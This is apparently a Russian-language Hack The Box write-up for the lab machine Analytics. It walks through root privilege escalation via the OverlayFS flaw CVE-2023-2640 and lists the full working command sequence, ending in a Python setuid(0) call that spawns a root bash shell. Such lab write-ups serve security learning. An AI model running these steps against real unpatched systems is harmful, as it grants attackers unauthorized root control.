Сегодня, на примере уязвимой машины Analytics с площадки Hack The Box, мы рассмотрим процесс эксплуатации уязвимости CVE-2023-2640 в файловой системе OverlayFS Linux.
Еще по теме: Эксплуатация уязвимости WinRAR
Эксплуатация уязвимости OverlayFS CVE-2023-2640
Ранее мы определили, что находимся в «Докере», а значит, для выхода из него нужно искать учетные данные либо небезопасные настройки. Инструмент LinPEAS не нашел нечего интересного. Последнее, на что осталось рассчитывать, — это какие‑то свежие эксплоиты для самой системы. Узнать точную версию системы можно командой uname -a.
По обыкновению ищем эксплоиты в Google. Первая же ссылка ведет к уязвимости GameOverlay.
OverlayFS — это объединенная файловая система, которая накладывает одну файловую систему поверх другой, позволяя модифицировать файлы без изменения базовой файловой системы (примерно как Docker). Однако эта технология позволяет пользователям копировать файлы из вложенного каталога в родительский, сохраняя при этом метаданные файла, в том числе S-бит.
Именно этот недостаток позволяет выполнить повышение привилегий до рута в базовой системе. Способ эксплуатации этой уязвимости основан и на Linux Capabilities. Эксплуатация уязвимости заключается в том, что можно создать файл с минимальными возможностями в одном слое и скопировать его с неограниченными возможностями в другой слой, что, по сути, позволит файлу работать в контексте рута.
Первым делом перейдем в пользовательское пространство, так как устанавливать возможности файла и монтировать файловую систему OverlayFS можно только там.
1 |
unshare -rm sh |
Затем для слоев создаем отдельные каталоги и копируем исполняемый файл python3, после чего даем ему возможность cap_setuid+eip. Она позволяет процессу изменить UID во время выполнения.
1 2 3 |
mkdir lower upper workdir mount cp /usr/bin/python3 lower/ setcap cap_setuid+eip lower/python3 |
Теперь монтируем файловую систему OverlayFS и изменяем метаданные файла, чтобы ядро копировало его в верхний каталог с сохранением установленных возможностей.
1 2 3 |
mount -t overlay overlay -o rw,lowerdir=lower,upperdir=upper,workdir=workdir mount touch mount/* exit |
После выхода из пользовательского пространства проверяем возможности созданного файла upper/python3.
1 |
getcap upper/python3 |
Теперь сделаем так, чтобы скрипт на Python устанавливал своему процессу UID, равный нулю, чтобы получить привилегированный контекст рута.
Это можно сделать с помощью функции setuid из модуля os. Затем вызываем командную оболочку в уже привилегированном контексте с помощью функции system из того же модуля.
1 2 3 4 |
upper/python3 import os os.setuid(0) os.system("/bin/bash") |
Мы получаем доступ к bash от имени рута.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Как повысить привилегии через уязвимость в Redis
- Побег из Docker эксплуатируя уязвимость CVE-2021-41091